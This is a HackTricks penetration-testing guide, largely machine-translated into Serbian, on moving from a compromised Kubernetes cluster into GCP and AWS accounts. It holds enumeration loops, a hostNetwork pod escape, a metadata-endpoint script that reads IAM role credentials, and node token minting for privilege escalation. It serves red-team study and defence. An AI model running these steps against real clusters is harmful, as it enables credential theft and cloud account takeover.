Kubernetes Pivoting to Clouds
Reading time: 13 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
GCP
Ako pokrećete k8s cluser unutar GCP-a, verovatno ćete želeti da neka aplikacija koja radi unutar clustera ima pristup GCP-u. Postoje 2 uobičajena načina da se to uradi:
Montiranje GCP-SA keys as secret
Uobičajen način da se obezbedi access to a kubernetes application to GCP je da:
- Create a GCP Service Account
- Bind on it the desired permissions
- Download a json key of the created SA
- Mount it as a secret inside the pod
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
warning
Dakle, kao attacker, ako kompromitujete container unutar poda, trebalo bi da proverite tu env variable i json files sa GCP credentials.
Povezivanje GSA json to KSA secret
Način da se omogući pristup GSA GKE cluser-u je vezivanjem na sledeći način:
- Kreirajte Kubernetes service account u istom namespace-u kao vaš GKE cluster koristeći sledeću komandu:
kubectl create serviceaccount <service-account-name>
- Kreirajte Kubernetes Secret koji sadrži kredencijale GCP service account-a kojem želite dodeliti pristup GKE klasteru. Ovo možete uraditi koristeći
gcloud
command-line tool, kao što je prikazano u sledećem primeru:
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- Povežite Kubernetes Secret sa Kubernetes service account koristeći sledeću komandu:
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
warning
U drugom koraku su postavljeni kredencijali GSA kao secret KSA. Dakle, ako možete pročitati taj secret iz unutrašnjosti GKE klastera, možete eskalirati na taj GCP service account.
GKE Workload Identity
Sa Workload Identity, možemo konfigurisati a Kubernetes service account da se ponaša kao a Google service account. Pods koji koriste Kubernetes service account će se automatski autentifikovati kao Google service account prilikom pristupa Google Cloud APIs.
The prvi niz koraka da se omogući ovo ponašanje je da omogućite Workload Identity in GCP (steps) i kreirate GCP SA koju želite da k8s preuzme.
- Omogući Workload Identity na novom klasteru
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- Kreiraj/Ažuriraj novi nodepool (Autopilot clusters ovo ne zahtevaju)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- Kreirajte GCP Service Account to impersonate iz K8s sa GCP permissions:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- Povežite se na cluster i kreirajte service account koji ćete koristiti
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- Povežite GSA sa KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- Pokreni pod sa KSA i proveri access ka GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
Proverite sledeću komandu za autentifikaciju ako je potrebno:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
warning
Kao napadač unutar K8s treba da tražite SAs sa iam.gke.io/gcp-service-account
annotacijom jer to ukazuje da SA može pristupiti nečemu u GCP. Druga opcija bi bila da pokušate zloupotrebiti svaki KSA u klasteru i proverite da li ima pristup.
Iz GCP-a je uvek korisno izlistati bindings i znati koji pristup dajete SAs unutar Kubernetes-a.
Ovo je skripta da lako prođe kroz sve pods definicije tražeći tu annotaciju:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (IAM role for Pods)
Jedan (zastareo) način za dodeljivanje IAM Roles Pods je korišćenje Kiam ili Kube2IAM servera. U suštini, potrebno je pokrenuti daemonset u vašem klasteru sa nekom vrstom privilegovane IAM role. Taj daemonset će davati pristup IAM rolama podovima kojima je to potrebno.
Pre svega, potrebno je konfigurisati koje role mogu biti dostupne unutar namespace-a, i to se radi pomoću anotacije unutar namespace objekta:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
Kada je namespace konfigurisan sa IAM rolama koje Pods mogu imati, možete navesti rolu koju želite u definiciji svakog poda pomoću nečeg poput:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
warning
Kao napadač, ako pronađete ove anotacije u pods ili namespaces ili postoji pokrenut kiam/kube2iam server (verovatno u kube-system), možete se lažno predstaviti kao bilo koje IAM role koje već koriste pods i još više (ako imate pristup AWS account, nabrojte role).
Kreiranje Pod sa IAM Role
note
IAM role koja se navodi mora biti u istom AWS account-u kao i kiam/kube2iam role i ta role mora moći da joj pristupi.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
IAM Role for K8s Service Accounts via OIDC
Ovo je AWS-ov preporučeni način.
- Pre svega treba da create an OIDC provider for the cluster.
- Zatim kreirate IAM role sa dozvolama koje će SA zahtevati.
- Kreirajte trust relationship between the IAM role and the SA (ime SA, ili namespace-ove koji daju pristup roli svim SA u tom namespace-u). The trust relationship will mainly check the OIDC provider name, the namespace name and the SA name.
- Na kraju, kreirajte SA sa anotacijom koja ukazuje na ARN of the role, i pods koji se pokreću sa tim SA će imati access to the token of the role. The token is written inside a file i putanja je specificirana u
AWS_WEB_IDENTITY_TOKEN_FILE
(podrazumevano:/var/run/secrets/eks.amazonaws.com/serviceaccount/token
)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
Da biste pristupili aws koristeći token iz /var/run/secrets/eks.amazonaws.com/serviceaccount/token
, pokrenite:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
warning
Kao napadač, ako možete enumerisati a K8s cluster, proverite service accounts with that annotation da biste escalate to AWS. Da biste to uradili, jednostavno exec/create pod koristeći jedan od IAM privileged service accounts i ukrasti token.
Takođe, ako ste unutar pod-a, proverite env variables kao što su AWS_ROLE_ARN i AWS_WEB_IDENTITY_TOKEN.
caution
Ponekad je Turst Policy of a role može biti bad configured i umesto da daje AssumeRole pristup očekivanom service account-u, daje ga all the service accounts. Dakle, ako ste u mogućnosti da upišete annotation na kontrolisanom service account-u, možete pristupiti role-i.
Check the following page for more information:
Pronađite Pods a SAs with IAM Roles u klasteru
Ovo je skripta da lako iterira kroz sve pods i sas definicije tražeći tu annotation:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Role u cluster-admin
Prethodni odeljak je govorio o tome kako ukrasti IAM Roles koristeći pods, ali imajte na umu da je Node of the K8s cluster zapravo instanca inside the cloud. To znači da je veoma verovatno da Node ima IAM role koju možete steal (napomena: obično svi nodes u K8s clusteru imaju istu IAM role, pa možda nije vredno proveravati svaki node).
Da biste pristupili node metadata endpoint-u morate:
- Biti u podu i imati metadata endpoint konfigurisан na najmanje 2 tcp hops. Ovo je najčešća misconfiguration jer različiti pods u klasteru obično zahtevaju pristup metadata endpoint-u da ne bi došlo do breaking, i nekoliko kompanija jednostavno odluči da dozvoli pristup metadata endpoint-u sa svih pods u klasteru.
- Biti u podu sa
hostNetwork
enabled. - Escape to the node i pristupiti metadata endpoint-u direktno.
(Napomena: metadata endpoint je na 169.254.169.254 kao i uvek).
Da biste escaped to the node možete koristiti sledeću komandu da pokrenete pod sa hostNetwork
enabled:
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
Ukradite IAM Role Token
Ranije smo objasnili kako da attach IAM Roles to Pods ili čak kako da escape to the Node to steal the IAM Role koji je pridružen instanci.
Možete koristiti sledeći skript da ukradete svoje novo, teško stečene IAM role credentials:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
Privesc to cluster-admin
Ukratko: ako je moguće pristupiti EKS Node IAM role iz pod-a, moguće je compromise the full kubernetes cluster.
Za više informacija pogledajte ovu objavu. Kao rezime, podrazumevana IAM EKS role koja se dodeljuje EKS nodes po defaultu ima unutar clustera rolu system:node
. Ova rola je veoma interesantna iako je ograničena kubernetes Node Restrictions.
Međutim, node uvek može generate tokens for service accounts koji se izvršavaju u pods unutar node-a. Dakle, ako node pokreće pod sa privilegovanim service account-om, node može generisati token za taj service account i koristiti ga da impersonate taj service account kao u:
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
Izvori
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.